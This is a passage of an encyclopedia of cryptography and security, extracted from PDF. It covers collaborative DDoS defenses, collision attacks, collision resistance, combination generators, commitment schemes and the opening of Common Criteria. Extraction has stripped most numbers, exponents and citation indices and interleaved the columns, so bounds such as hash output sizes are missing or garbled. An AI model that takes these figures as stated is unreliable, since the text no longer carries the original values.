logical that a distributed defense could outperform DDoS defense is to enable CC to receive good quality
point solutions [, ]. As trends in the attack commu- of service from V in spite of the attack.
nity continue to involve larger and larger attack net-
works, the need for distributed solutions increases. Dis- Attack Response Approaches
tributed defenses against DDoS attacks are necessar- Attack response approaches must provide the following
ily collaborative since there must be some informa- functionalities:
tion exchange between defense components at different . Attack detection
locations. . Differentiation of legitimate from attack traffic, and
. Selective dropping of sufficient volume of attack traffic
Applications
to alleviate the load at the victim
Figure shows a very simplified illustration of a flooding
DDoS attack. References [] are the examples of responsive approaches.
Attackers AA flood the victim server V over routers The most opportune location for attack detection is at
RR and RV, while legitimate clients CC attempt to or near the victim, e.g., on nodes V or RV. This enables the
A2 A1
C1
A3
R1 R3
A4
R5
RV
R6
R2
R4 V
A5
C2 A6
C3 C4
Collaborative DoS Defenses. Fig. Illustration of a ooding DDoS attack

Collaborative DoS Defenses C
defense to observe all the traffic that reaches the victim, as practice than edge deployment, since core networks have
well as the victims ability to handle it. higher performance targets.
Attack differentiation often requires either collabora- A sample system that engages defenses at all three loca-
tion of legitimate clients who follow special rules to reach tions (close to the sources, close to the victim, and in
the server, or extensive traffic observation and profiling. the core), specialized to perform functionalities that are
The first functionality requires deployment at the traf- opportune at their location, is described in publication [].
fic sources, while the second is best provided at or near This distribution approach likely yields the best defense
the sources, where traffic volume and aggregation cost are performance. Core components handle the incomplete
C
low enough to make the profiling cost affordable. Sample deployment problem that plagues edge defenses, and costly
deployment points in the example from Fig. could be functionalities such as attack detection and traffic differ-
AA, CC, and RR. entiation can be delegated from core to edge locations.
Selective dropping can be done at any router, but The disadvantage is that there is no economic incentive for
some locations are more advantageous than others. In the defense deployment at core and close to the sources, to help
example from Fig. , if RV did selective dropping, the sheer a remote victim.
volume of traffic may be too much for it to manage. Mov- As a response to an attack, some defense proposals
ing the location of the filter closer to the sources divides the choose to reroute traffic instead of selectively filtering the
load among multiple routers (naturally following traffics attack. For example, the MOVE defense [] uses graphi-
divergence) and preserves Internet resources. cal Turing tests to differentiate humans from bots during
A sample collaborative system that engages defenses an attack and relocates the victims service to another loca-
close to the sources and the victim (network edges), but not tion. Traffic from verified legitimate users is routed to this
in the network core, is described in publication []. Col- new location, while attack traffic continues to flow to the
laborative defenses at the edge usually engage victim-end old location.
defenses at attack detection, while source-end defenses Some defenses focus on locating the attack machines
perform traffic differentiation and filtering. The advantage (traceback), rather than filtering attack traffic, for example
of these approaches is that deployment of new systems is those described in publications [, ]. The assumption
easier at edge networks than in the core. The disadvantage here is that attackers use IP spoofing and that tracing
is that anything but complete deployment at all Internet back to their locations, even approximately, can aid other
edges may leave open direct paths from attackers to the defenses in better filter placement.
defense located close to the victim, making overload still
possible. For example, if only edge routers R, R, R, and Attack Prevention Approaches
RV in Fig. deployed a defense, but not the edge router R, Collaborative defenses that aim to prevent DoS attacks
attack traffic from AA could still reach, and poten- usually engage nodes both at the victim and in the core,
tially overwhelm, RV. Further disadvantage is that network and assume some cooperation of legitimate clients. These
sources have little incentive to deploy defenses to help a approaches change the way clients access the victim, to
remote victim. make it easier to distinguish legitimate from attack sources.
A sample system that engages defenses only in the net- The legitimate clients are expected to adopt the new access
work core by modifying routers to perform traffic differ- channel, while no assumptions are made about attackers
entiation and selective filtering is described in publication adoption of the same.
[]. In the example from Fig. , such defenses could be For example, the TVA architecture [] requires each
deployed at routers R and R. The advantage of core- client to first obtain a ticket from the server authorizing
located defenses is that a small number of deployment future communication. This ticket is presented to partici-
points (in the example from Fig. there are two) see pating core routers in future clients traffic and enables its
and thus can filter traffic from many attack-victim pairs. differentiation from the attack. The SOS [] and Mayday
The disadvantage is that due to the requirements to pre- [] architectures require clients to access the protected
serve router resources and handle high traffic load the server via an overlay that helps authorize access, hide the
defense handles traffic in a coarse-grain manner, which servers location, and filter unauthorized traffic. The main
lowers accuracy. If attack detection is performed at routers, disadvantage of prevention approaches is their need for
its accuracy depends on the defense deployment pattern. wide adoption legitimate clients and sometimes core
Having the victim signal the attack occurrence to the routers must change. If core router deployment is very
routers can amend this. A further disadvantage is that sparse, the protection becomes ineffective since attack
deployment at core networks is more difficult to achieve in traffic can bypass the defense. If client deployment is
C Collision Attack
sparse, the majority of legitimate clients still cannot access . Stone R () Centertrack: an IP overlay network for tracking
the protected server during attacks. This lowers the servers DoS floods. In: Proceedings of the th Conference on USENIX
Security Symposium, vol.
incentive to deploy the protection mechanism.
. Savage S, Wetherall D, Karlin A, Anderson T () Practi-
cal network support for IP traceback. In: Proceedings of ACM
SIGCOMM
. Yang X, Wetherall D, Anderson T () A DoS-limiting
The biggest challenge for collaborative approaches is the network architecture. ACM SIGCOMM Comput Commun Rev
deployment incentive at locations remote from the victim. ():
An ISP may be willing to deploy new mechanisms to pro- . Keromytis AD, Misra V, Rubenstein D () SOS: secure
tect its customers, and could incorporate this new service overlay services. ACM SIGCOMM Comput Commun Rev
():
into its portfolio. But there is no incentive for an ISP or
. Andersen DG () Mayday: distributed filtering for Internet
an edge network to deploy an altruistic service that pro- services. In: Proceedings of the th Conference on USENIX
tects a remote victim. This problem is exacerbated at the Symposium on Internet Technologies and Systems, vol
defense systems that involve core routers. These routers
not only lack incentives for deployment, but they also lack
resources. The core routers primary goal is routing a lot of
traffic quickly and efficiently. There are few CPU/memory Collision Attack
resources to dedicate to new functionalities.
Another challenge is the effectiveness in the partial
Bart Preneel
deployment scenarios. Since the deployment incentives
run low, a promising defense must deliver substantial pro-
tection to the victim under a severely low deployment. This
is just not the case with collaborative defenses.
Finally, an inherent challenge in any system that
requires collaboration is how to become robust against Related Concepts
insider attacks. A collaborator turned bad can serve wrong Collision Resistance; Hash Functions
information attempting to either create new ways to deny
service, or to bypass the defense and perform a successful Denition
attack. A collision attack finds two identical values among ele-
ments that are chosen according to some distribution on a
finite set S. In cryptography, one typically assumes that the
Recommended Reading
objects are chosen according to a uniform distribution. In
. Mirkovic J, Robinson M, Reiher P, Kuenning G () Alliance
formation for DDoS defense. In: Proceedings of the New Secu-
most cases a repeating value or collision results in an attack
rity Paradigms Workshop, pp on the cryptographic scheme.
. Oikonomou G, Mirkovic J, Reiher P, Robinson M () A
Framework for Collaborative DDoS defense. In: Proceedings of
the nd Annual Computer Security Applications Conference
Background
(ACSAC), pp , A collision attack on a hash function used in a digital sig-
. Walfish M, Vutukuru M, Balakrishnan H, Karger D, Shenker nature scheme was proposed by G. Yuval in []; since
S () DDoS defense by offense. In: Proceedings of ACM then, collision attacks have been developed for numerous
SIGCOMM, pp cryptographic schemes.
. Liu X, Yang X, Lu Y () To filter or to authorize: network-
layer DoS defense against multimillion-node botnets. In: Pro-
ceedings of ACM SIGCOMM Theory
. Mahajan R, Bellovin SM, Floyd S, Ioannidis J, Paxson V, Shenker A collision attack exploits repeating values that occur when
S () Controlling high-bandwidth aggregates in the network.
elements are chosen with replacement from a finite set
ACM SIGCOMM Comput Comm Rev ():
. Song Q () Perimeter-based defense against high bandwidth
S. By the birthday
paradox, repetitions will occur after
DDoS attacks. IEEE Trans Parallel Distrib Syst (): approximately S attempts, where S denotes the size of
. Papadopoulos C, Lindell R, Mehringer J, Hussain A, Govindan the set S.
R () COSSACK: coordinated suppression of simultaneous The most obvious application of a collision attack is
attacks. In: Proceedings of DISCEX, pp
to find collisions for a cryptographic hash function. For
. Stavrou A, Keromytis AD, Nieh J, Misra V, Rubenstein D ()
MOVE: an end-to-end solution to network denial of service.
a hash function with an n-bit result, an efficient collision
In: Proceedings of the Internet Society (ISOC) Symposium on search based on the birthday paradox requires approxi-
Network and Distributed Systems Security (SNDSS), pp mately n/ hash function evaluations. For this application,
Collision Resistance C
one can substantially reduce the memory requirements In some cryptographic applications, one needs to find
(and also the memory accesses) by translating the problem t-collisions; this corresponds to the same value repeating
to the detection of a cycle in an iterated mapping []. Van t times (for normal collisions t = ). Joux showed that for
Oorschot and Wiener propose an efficient parallel variant an iterated hash function with internal memory of n bits,
of this algorithm []. In order to make a collision search a t-collision can be found in time O(log (t) n/ ), while
infeasible for the next years, the hash result needs to for an ideal n-bit function this should take time approxi-
be bits or more. A collision attack can also play a role to mately O(t! n(t)/t ). This result can be used to show that
find (second) preimages for a hash function: If one has n/ the concatenation of two iterated hash functions is only as
C
values to invert, one expects to find at least one (second) secure as the strongest of the two.
preimage after n/ hash function evaluations.
An internal collision attack on a MAC algorithm Recommended Reading
exploits collisions of the chaining variable of a MAC algo- . Biham E () How to decrypt or even substitute DES-
encrypted messages in steps. Inform Process Lett
rithm. It allows for a MAC forgery. As an example, a
():l
forgery attack for an iterated MAC algorithm with an n-bit . Joux A () Multicollisions in iterated hash functions.
intermediate state requires at most n/ known texts and Application to cascaded constructions. In: Franklin MK (ed)
a single chosen text []. For some MAC algorithms, such Advances in cryptology, proceedings Crypto, Santa Barbara,
as MAA, internal collisions can lead to a key recovery August . Lecture notes in computer science, vol .
attack [].
. Knudsen LR () Block ciphers analysis, design and appli-
A block cipher should be a one-way function from key cations. PhD thesis, Aarhus University, Denmark
to ciphertext (for a fixed plaintext). If the same plaintext . Maurer UM () New approaches to the design of self-
is encrypted using k/ keys (where k is the key length in synchronizing stream ciphers. In: Davies DW (ed) Advances
bits) one expects to recover one of the keys after k/ trial in cryptology, proceedings Eurocrypt, Brighton, April .
encryptions []. This attack can be precluded by the mode
pp
of operation; however, collision attacks also apply to these . Preneel B, van Oorschot PC () On the security of iterated
modes. In the Cipher Block Chaining (CBC) and Cipher message authentication codes. IEEE Trans Informa Theory IT
FeedBack (CFB) mode of an n-bit block cipher, a repeated ():
value of an n-bit ciphertext string leaks information on the . Preneel B, Rijmen V, van Oorschot PC () A security anal-
ysis of the message authenticator algorithm (MAA). Eur Trans
plaintext [, ] (Block Ciphers for more details).
Telecommun ():
For synchronous stream ciphers that have a next state . Quisquater J-J, Delescaille J-P () How easy is collision
function that is a random function (rather than a permu- search? Application to DES. In: Quisquater J-J, Vandewalle
tation), one expects that the key stream will repeat after J (eds) Advances in cryptology, proceedings Eurocrypt,
m/ output symbols, with m denotes the size of the inter- Houthalen, April . Lecture notes in computer science, vol
nal memory in bits. Such a repetition leaks the sum of the
. Shoup V () Lower bounds for discrete logarithms and
corresponding plaintexts, which is typically sufficient to related problems. In: Fumy W (ed) Advances in cryptology, pro-
recover them. This attack applies to a variant of the Output ceedings Eurocrypt, Konstanz, May . Lecture notes in
FeedBack (OFB) mode of a block cipher where less than n computer science, vol . Springer, Berlin, pp
output bits are fed back to the input. If exactly n bits are . van Oorschot PC, Wiener M () Parallel collision search with
cryptanalytic applications. J Cryptol ():
fed back as specified by in the OFB mode, one expects a
. Yuval G () How to swindle Rabin. Cryptologia :
repetition after the selection of n/ initial values.
The best generic algorithm to solve the discrete loga-

rithm problem in any group G requires time O( p), where
p is the largest prime dividing the order of G []; this attack
is based on collisions. Collision Resistance
In many cryptographic protocols, e.g., entity authen-
tication protocols, the verifier submits a random challenge Bart Preneel
to the prover. If an n-bit challenge is chosen uniformly at Department of Electrical Engineering-ESAT/COSIC,
random, one expects to find a repeating challenge after n/ Katholieke Universiteit Leuven and IBBT,
runs of the protocol. A repeating challenge leads to a break Leuven-Heverlee, Belgium
of the protocol. A meet-in-the-middle attack is a specific
variant of a collision attack which allows to cryptanalyze Synonyms
some hash functions and multiple encryption modes Strong collision resistance; Universal One-Way Hash Func-
(Block Ciphers). tions (UOWHF)
C Combination Generator
Related Concepts and Wiener propose an efficient parallel variant of this

Hash Functions; One-Way Function; Preimage Resis- algorithm []; with a million US$ machine, collisions
tance; Second Preimage Resistance; Universal One- for MD (with n = ) could be found in days in ,
Way Hash Function which corresponds to about minutes in . In order to
make a collision search infeasible for the next years,
Denition the hash result needs to be bits or more.
Collision resistance is the property of a hash function
that it is computationally infeasible to find two (distinct) Recommended Reading
colliding inputs. . Damgrd IB () A design principle for hash functions. In:
Brassard G (ed) Advances in cryptology CRYPTO : pro-
ceedings, Santa Barbara, August . Lecture notes in
Background computer science, vol . Springer, Berlin, pp
Second preimage resistance and collision resistance of hash . Gibson JK () Some comments on Damgrds hashing prin-
functions have been introduced by Rabin in []; the ciple. Electron Lett ():
attack based on the birthday paradox was first pointed . Merkle R () Secrecy, authentication, and public key systems.
out by Yuval in []. UMI Research Press, Ann Arbor
. Preneel B () Analysis and design of cryptographic
hash functions. Doctoral Dissertation, Katholieke Universiteit
Theory Leuven
Collision resistance is related to second preimage resis- . Preneel B () The state of cryptographic hash functions. In:
tance, which is also known as weak collision resistance. A Damgrd I (ed) Lectures on Data Security. Lecture notes in
minimal requirement for a hash function to be collision computer science, vol . Springer, Berlin, pp
resistant is that the length of its result should be bits . Quisquater J-J, Delescaille J-P () How easy is collision
search? Application to DES. In: Quisquater J-J, Vandewalle J
(in ). Collision resistance is the defining property of
(eds) Advances in cryptology EUROCRYPT : proceedings,
a collision resistant hash function (CRHF) (Hash Func- Belgium, April . Lecture notes in computer science,
tion). The exact relation between collision resistance, sec- vol . Springer, Berlin, pp
ond preimage resistance, and preimage resistance is rather . Rabin MO () Digitalized signatures. In: Lipton R, DeMillo
subtle, and depends on the formalization of the defini- R (eds) Foundations of secure computation. Academic Press,
New York, pp
tion: it is shown in [, ] that under certain conditions,
. Rogaway P () Formalizing human ignorance. In: Nguyen
collision resistance implies second preimage resistance PQ (ed) Progress in cryptology VIETCRYPT : proceed-
and preimage resistance. ings, Hanoi, September . Lecture notes in computer
In order to formalize the definition of a collision- science, vol . Springer, Berlin, pp
resistant hash function (see Damgrd []), one needs to . Rogaway P, Shrimpton T () Cryptographic hash function
basics: definitions, implications, and separations for preimage
introduce a class of functions indexed by a public parame-
resistance, second-preimage resistance, and collision resistance.
ter, which is called a key. Indeed, one cannot require that In: Roy BK, Meier W (eds) Fast software encryption, Delhi,
there does not exist an efficient adversary who can produce February . Lecture notes in computer science, vol .
a collision for a fixed hash function, since any adversary Springer, Berlin, pp
who stores two short colliding inputs for a hash function . Stinson DR () Some observations on the theory of crypto-
graphic hash functions. Design Code Cryptogr ():
would be able to output a collision efficiently (note that
. van Oorschot PC, Wiener M () Parallel collision search with
hash functions map large domains to fixed ranges, hence cryptanalytic applications. J Cryptol ():
such collisions always exist). Introducing a class of func- . Yuval G () How to swindle Rabin. Cryptologia :
tions solves this problem, since an adversary cannot store
a collision for each value of the key (provided that the key
space is not too small). An alternative solution is described
by Rogaway []: One can formalize the inability of human Combination Generator
beings to find collisions, and use this property in security
reductions. Anne Canteaut
For a hash function with an n-bit result, an efficient col- Project-Team SECRET, INRIA Paris-Rocquencourt,
lision research based on the birthday paradox requires Le Chesnay, France
approximately n/ hash function evaluations. One can
substantially reduce the memory requirements (and also
the memory accesses) by translating the problem to the Related Concepts
detection of a cycle in an iterated mapping. This was first Boolean Functions; Linear Feedback Shift Register;
proposed by Quisquater and Delescaille []. Van Oorschot Stream Cipher
Combination Generator C
Denition Statistical properties of the output sequence. The sequence

A combination generator is a running-key generator for produced by a combination generator is a linear recur-
stream cipher applications. It is composed of several ring sequence. Its period and its linear complexity can
linear feedback shift registers (LFSRs) whose outputs be derived from those of the sequences generated by the
are combined by a Boolean function to produce the constituent LFSRs and from the algebraic normal form of
keystream as depicted on Fig. . Then, the output sequence the combining function (Boolean function). Indeed, if
(st )t of a combination generator composed of n LFSRs is we consider two linear recurring sequences u and v over
given by Fq with linear complexities (u) and (v), we have the
C
following properties:
st = f (ut , ut , . . . , unt ), t , the linear complexity of the sequence u + v =
(ut + vt )t satisfies
where (uit )t denotes the sequence generated by the i-th (u + v) (u) + (v) ,
constituent LFSR and f is a function of n variables. In the
case of a combination generator composed of n LFSR over with equality if and only if the minimal polyno-
Fq , the combining function is a function from Fnq into Fq . mials of u and v are relatively prime. Moreover, in case
of equality, the period of u + v is the least common
multiple of the periods of u and v.
Theory the linear complexity of the sequence uv = (ut vt )t
The combining function f should obviously be balanced, satisfies
i.e., its output should be uniformly distributed. The con-
(uv) (u)(v) ,
stituent LFSRs should be chosen to have primitive feed-
back polynomials for ensuring good statistical properties where equality holds if the minimal polynomials of u
of their output sequences (Linear Feedback Shift Register and v are primitive and if (u) and (v) are distinct
for more details). and greater than . Other general sufficient conditions
The characteristics of the constituent LFSRs and the for (uv) = (u)(v) can be found in [, , ].
combining function are usually publicly known. The secret Thus, the keystream sequence produced by a combina-
parameters are the initial states of the LFSRs, which are tion generator composed of n binary LFSRs with primitive
derived from the secret key of the cipher by a key-loading feedback polynomials which are combined by a Boolean
algorithm. Therefore, most attacks on combination genera- function f satisfies the following property proven in [].
tors consist in recovering the initial states of all LFSRs from If all LFSR lengths L , . . . , Ln are distinct and greater
the knowledge of some digits of the sequence produced by than (and if all LFSR initializations differ from the all-
the generator (in a known plaintext attack) or of some zero state), the linear complexity of the output sequence
digits of the ciphertext sequence (in a ciphertext only s is equal to
attack). When the feedback polynomials of the LFSR and
f (L , L , . . . , Ln )
the combining function are not known, the reconstruc-
tion attack presented in [] enables to recover the complete where the algebraic normal form of f is evaluated over
description of the generator from the knowledge of a large integers. For instance, if four LFSRs of lengths L , . . . , L
segment of the ciphertext sequence. satisfying the previous conditions are combined by the
Boolean function x x + x x + x , the linear complex-
ity of the resulting sequence is L L + L L + L . Similar
results concerning the combination of LFSRs over Fq can
ut1 be found in [] and []. A high linear complexity is desir-
able property for a keystream sequence since it ensures that
ut2 BerlekampMassey algorithm becomes computationally
infeasible. Thus, the combining function f should have a
f St high algebraic degree (the algebraic degree of a Boolean
function is the highest number of terms occurring in a

monomial of its algebraic normal form).

utn
Known attacks and related design criteria. Combination
generators are vulnerable to many divide-and-conquer
Combination Generator. Fig. Combination generator attacks which aim at considering the constituent LFSRs
C Commercial O-the-Shelf
independently. These attacks exploit the existence of biased . Naya-Plasencia M () Cryptanalysis of Achterbahn-/.
relations between the outputs of the generator at differ- In: Fast software encryption FSE . Lecture notes in com-
puter science, vol . Springer, Heidelberg, pp
ent time instants, which involve a few registers only; such
. Rueppel RA, Staffelbach OJ () Products of linear recurring
relations then enable the attacker to perform an exhaustive sequences with maximum complexity. IEEE Trans Inform Theory
search for the initial states of a subset of the constituent reg- ():
isters in the case of a state-recovery attack, or to apply some
hypothesis testing in the case of distinguishing attacks.
These techniques include correlation attack and its vari-
ants called fast correlation attacks, distinguishing attacks Commercial O-the-Shelf
such as the attack presented in []. More sophisticated
algorithms can be found in [] and []. Levels of Trust
In order to make these attacks infeasible, the LFSR
feedback polynomials should not be sparse. The combining
function should have a high correlation-immunity order,
also called resiliency order, when the involved function is Commercial Security Model
balanced (correlation-immune Boolean function). But,
there exists a trade-off between the correlation-immunity Chinese Wall Model
order and the algebraic degree of a Boolean function. Most
notably, the correlation-immunity of a balanced Boolean
function of n variables cannot exceed n deg( f ) when
the algebraic degree of f , deg( f ), is greater than . More- Commitment
over, the complexity of correlation attacks and of fast
correlation attacks also increases with the nonlinearity of Claude Crpeau
the combining function (correlation attack). School of Computer Science, McGill University,
The trade-offs between high algebraic degree, high Montreal, Quebec, Canada
correlation-immunity order, and high nonlinearity can
be circumvented by replacing the combining function Related Concepts
by a finite state automaton with memory. Examples of One-Way Function; Zero-Knowledge Protocol
such combination generators with memory are the sum-
mation generator and the stream cipher E used in
Bluetooth.
Denition
A commitment scheme is a two-phase cryptographic
protocol between two parties, a sender and a receiver,
Recommended Reading satisfying the following constraints. At the end of the first
. Brynielsson L () On the linear complexity of combined shift phase (named Commit) the sender is committed to a spe-
register sequences. In: Advances in cryptology - EUROCRYPT
cific value (often a single bit) that he cannot change later on
. Lecture notes in computer science, vol . Springer, Heidel-
berg, pp (Commitments are binding) and the receiver should have
. Canteaut A, Filiol E () Ciphertext only reconstruction of no information about the committed value, other than
stream ciphers based on combination generators. In: Fast soft- what he already knew before the protocol (Commitments
ware encryption FSE . Lecture notes in computer science, are concealing). In the second phase (named Unveil), the
vol . Springer, Heidelberg, pp
sender sends extra information to the receiver that allows
. Herlestam T () On functions of linear shift register
sequences. In: Advances in cryptology EUROCRYPT . Lec- him to determine the value that was concealed by the
ture notes in computer science, vol . Springer, Heidelberg, commitment.
pp
. Gttfert R, Niederreiter H () On the minimal polynomial
of the product of linear recurring sequences. Finite Fields Appl Background
(): The terminology of commitments, influenced by the legal
. Hell M, Johansson T, Brynielsson L () An overview of dis- vocabulary, first appeared in the contract-signing proto-
tinguishing attacks on stream ciphers. Cryptogr Commun ():
cols of Even [], although it seems fair to attribute the

. Johansson T, Meier W, Muller F () Cryptanalysis of Achter-
concept to Blum [] who implicitly uses it for coin flipping
bahn. In: Fast software encryption FSE . Lecture notes in around the same time. In his Crypto paper, Even refers
computer science, vol . Springer, Heidelberg, pp to Blums contribution saying: In the summer of , in
Commitment C
Commitment. Fig. Committing with an envelope
Commitment. Fig. Unveiling from an envelope
a conversation, M. Blum suggested the use of randomiza- without modifying the envelope (opening it) nor the con-
tion for such protocols. Apparently, Blum introduced the tent can be modified (envelopes are binding).
idea of using random hard problems to commit to some- Unveiling the content of the envelope is achieved by
thing (coin, contract, etc.). However, one can also argue opening it and extracting the piece of paper inside (see
that the earlier work of Shamir et al. [] on mental poker Fig. ).
implicitly used commitments as well, since in order to gen- Under computational assumptions, commitments
erate a fair deal of cards, Alice encrypts the card names come in two dual flavors: binding but computationally
under her own encryption key, which is the basic idea concealing commitments and concealing but computa-
for implementing commitments. The term blob is also tionally binding commitments. Commitments of both
used as an alternative to commitment by certain authors types may be achieved from any one-way function [,
[, , ]. The former mostly emphasizes the concealing , , ].
property, whereas the latter refers mainly to the binding A simple example of a bit commitment of the first
property. type is obtained using the GoldwasserMicali proba-
bilistic encryption scheme with ones own pair of public
keys (n, q) such that n is an RSA modulus (RSA pub-
Theory lic key encryption) and q a random quadratic non-residue
Commitments are important components of zero- modulo n with Jacobi symbol + (quadratic residue).
knowledge protocols [, ], and other more general Unveiling is achieved by providing a square root of each
two-party cryptographic protocols []. quadratic residue and of quadratic non-residue multiplied
A natural intuitive implementation of a commitment is by q. A similar example of a bit commitment of the second
performed using an envelope (see Fig. ). Some informa- type is constructed from someone elses pair of public
tion written on a piece of paper may be committed to by keys (n, r) such that n is an RSA modulus and r a ran-
sealing it inside an envelope. The value inside the sealed dom quadratic residue modulo n. A zero bit is committed
envelope cannot be guessed (envelopes are concealing) using a random quadratic residue mod n while a one bit
C Commitment
is committed using a random quadratic residue multiplied . Chaum D, Crpeau C, Damgrd I () Multi-party uncondi-
by r modulo n. Unveiling is achieved by providing a square tionally secure protocols. In: Proceedings of the th ACM sym-
posium on theory of computing, Chicago, . ACM, New York
root of quadratic residues committing to a zero and of
. Chor B, Goldwasser S, Micali S, Awerbuch B () Verifiable
quadratic residues multiplied by r used to commit to a one. secret sharing and achieving simultaneity in the presence of
Unconditionally, binding and concealing commit- faults (extended abstract). In: Proceedings of the th FOCS,
ments can also be obtained under the assumption of the Portland, Oct . IEEE, Piscataway, pp
existence of a binary symmetric channel [] and under . Crpeau C () Efficient cryptographic protocols based on
noisy channels. In: Fumy W (ed) Advances in cryptology
the assumption that the receiver owns a bounded amount
EUROCRYPT. Lecture notes in computer science, vol .
of memory []. In multiparty scenarios [, , ], com- Springer, Berlin, pp
mitments are usually achieved through Verifiable Secret . Crpeau C, van de Graaf J, Tapp A () Committed oblivi-
Sharing Schemes []. However, the two-prover case [] ous transfer and private multi-party computation. In: Copper-
does not require the verifiable property because the provers smith D (ed) Advances in cryptology CRYPTO. Lecture
are physically isolated from each other during the life span
. Di Crescenzo G, Ishai Y, Ostrovsky R () Non-interactive and
of the commitments. non-malleable commitment. In: Proceedings of the th sympo-
In a quantum computation model (quantum cryp- sium on the theory of computing, ACM, New York, pp
tography), it was first believed that commitment schemes . Dolev D, Dwork C, Naor M () Nonmalleable cryptography.
could be implemented with unconditional security for In: Proceedings of the rd annual ACM symposium on the-
ory of computing, New Orleans, May . IEEE Computer
both parties [] but it was later demonstrated that if
Society Press, Los Alamitos
the sender is equipped with a quantum computer, then . Even S () Protocol for signing contracts. In: Gersho A
any unconditionally concealing commitment cannot be (ed) Advances in cryptography, Santa Barbara, CA, USA, .
binding [, ]. University of California, Santa Barbara
Commitments exist with various extra properties: . Feige U, Shamir A () Zero knowledge proofs of knowl-
edge in two rounds. In: Brassard G (ed) Advances in cryptol-
chameleon/trapdoor commitments [, ], commitments
ogy CRYPTO. Lecture notes in computer science, vol .
with equality (attributed to Bennett and Rudich in [, ]), Springer, Berlin, pp
nonmalleable commitments [] (with respect to unveil- . Goldreich O, Micali S, Wigderson A () Proofs that yield
ing []), mutually independent commitments [], and nothing but their validity or all languages in NP have zero-
universally composable commitments []. knowledge proof systems. J Assoc Comput Mach ():
. Haitner I, Nguyen M-H, Ong SJ, Reingold O, Vadhan S
() Statistically hiding commitments and statistical zero-
knowledge arguments from any one-way function. SIAM J Com-
Recommended Reading put ():
. Ben-Or M, Goldwasser S, Kilian J, Wigderson A () Multi- . Hstad J, Impagliazzo R, Levin LA, Luby M () A pseudo-
prover interactive proofs: how to remove intractability assump- random generator from any one-way function. SIAM J Comput
tions. In: Proceedings of the th annual ACM symposium on ():. http://www.emis.de/MATH-item?.
theory of computing, Chicago, IL. ACM, New York, pp . Kilian J () Founding cryptography on oblivious transfer.
. Ben-Or M, Goldwasser S, Wigderson A () Completeness In: Proceedings of the th ACM symposium on theory of
theorems for fault-tolerant distributed computing. In: Proceed- computing, Chicago, . ACM, New York, pp
ings of the th ACM symposium on theory of computing, . Kilian J () A note on efficient zero-knowledge proofs and
Chicago, . ACM, New York, pp arguments (extended abstract). In: Proceedings of the th
. Blum M () Coin flipping by telephone. In: Gersho A (ed) annual ACM symposium on the theory of computing, Victoria,
Advances in cryptography, Santa Barbara, CA. University of May , pp
California, Santa Barbara, pp . Liskov M, Lysyanskaya A, Micali S, Reyzin L, Smith A ()
. Brassard G, Chaum D, Crpeau C () Minimum disclosure Mutually independent commitments. In: Boyd C (ed) Advances
proofs of knowledge. J Comput Syst Sci : in cryptology ASIACRYPT . Lecture notes in computer
. Brassard G, Crpeau C, Jozsa R, Langlois D () A quantum bit science, vol . Springer, Berlin, pp
commitment scheme provably unbreakable by both parties. In: . Lo H-K, Chau H-F () Is quantum bit commitment really
Twenty-ninth symposium on foundations of computer science. possible. Phys Rev Lett ():
IEEE, Piscataway, pp . Mayers D () Unconditionally secure quantum bit commit-
. Cachin C, Crpeau C, Marcil J () Oblivious transfer with ment is impossible. Phys Rev Lett ():
a memory-bounded receiver. In: Thirty-ninth annual sympo- . Naor M () Bit commitment using pseudorandomness.
sium on foundations of computer science: proceedings, Nov J Cryptol :
, Palo Alto. IEEE Computer Society Press, Los Alamitos, . Naor M, Ostrovsky R, Venkatesan R, Yung M () Perfect
pp zero-knowledge arguments for NP can be based on general com-
. Canetti R, Fischlin M () Universally composable commit- plexity assumptions. In: Brickell EF (ed) Advances in cryptol-
ments. In: Kilian J (ed) Advances in cryptology CRYPTO , ogy CRYPTO. Lecture notes on computer science, vol .
International Association for Cryptologic Research. Lecture Springer, Berlin (This work was first presented at the DIMACS
notes in computer science, vol . Springer, Berlin, pp workshop on cryptography, October )
Common Criteria C
. Shamir A, Rivest RL, Adleman LM () Mental poker. knowledge and trust of the evaluated products. The eval-
In: Klarner D (ed) The mathematical Gardner. Wadsworth, uation results may help consumers to determine whether
Belmont
an IT product or system is appropriate for their intended
application and whether the security risks implicit in its use
are acceptable.
Common Criteria Common Criteria is not a security specification that
prescribes specific or necessary security functionality or
assurance. Therefore, it is not intended to verify the qual-
C
Tom Caddy
InfoGard Laboratories, San Luis Obispo, CA, USA ity or security of cryptographic implementations. Products
that require cryptography are often required to attain a
FIPS validation for their cryptographic functionality
Synonyms before the common criteria evaluation can be completed.
ISO CC common criteria There are security products that are very important to secu-
rity but may not incorporate cryptography as a part of
Related Concepts their functionality. Examples include operating systems,
FIPS - Federal information Processing Standard firewalls, and IDS systems. Common Criteria is a method-
Cryptographic Module ology to gain assurance that a product is actually designed
and subsequently performs according to the claims in the
Denition products Security Target document. The level of assur-
The Common Criteria (CC), also known as ISO , is ance (EAL) that the product functions correctly is specified
intended to be used as the basis for evaluation of security as one of seven levels that are described later.
relevant properties of IT hardware and software products. The Common Criteria specification has been published
Security properties include all aspects of trust and assur- as International Standard ISO/IEC : []. It is
ance. The objective is that a common methodology and sometimes also published in formats specific to a given
criteria to evaluate product characteristics would reduce country that facilities use in their individual test scheme.
redundant evaluations and broaden markets while improv- The content and requirements are intended to be identical.
ing security. Seven governmental organizations, which are collec-
tively called the Common Criteria Project Sponsoring
Background Organizations, were formed to develop the standard and
The current version is . and has evolved since originated. program. The countries and organizations are:
The standard was developed by an international group that
merged programs from three countries to derive common Canada: Communications Security Establishment
criteria. The three programs were: France: Service Central de la Scurit des Systmes
dInformation
ITSEC The European standard, developed in the Germany: Bundesamt fr Sicherheit in der Informa-
early s by France, Germany, the Netherlands, and tionstechnik
the UK. The Netherlands: Netherlands National Communica-
CTCPEC The Canadian standard first published in tions Security Agency
May . The United Kingdom: Communications-Electronics
TCSEC The United States Department of Defense Security Group
. Standard, called the Orange Book and parts of The United States: National Institute of Standards and
the Rainbow Series. Technology
The United States: National Security Agency
The goal is for Common Criteria to permit comparability The Common Criteria Project Sponsoring Organizations
of products in spite of the results originating in indepen- approved the licensing and use of CC v. to be the basis of
dent security evaluations, for various products, evaluated ISO . Because of its international basis, certifications
by separate organizations, in different countries. The vision under Common Criteria are under a Mutual Recognition
is that by providing a common set of requirements for the Agreement. This is an agreement that certificates issued by
security functionality of IT products, and a common set organizations under a specific scheme will be accepted in
of assurance measurements applied to them that the eval- other countries as if they were evaluated under their own
uation process will establish a level of confidence in the schemes. The list of countries that have signed up to the
C Common Criteria
mutual recognition have grown beyond just the original of a complete development record by the vendor. Such a sit-
sponsoring organizations. uation may arise when securing legacy systems, or where
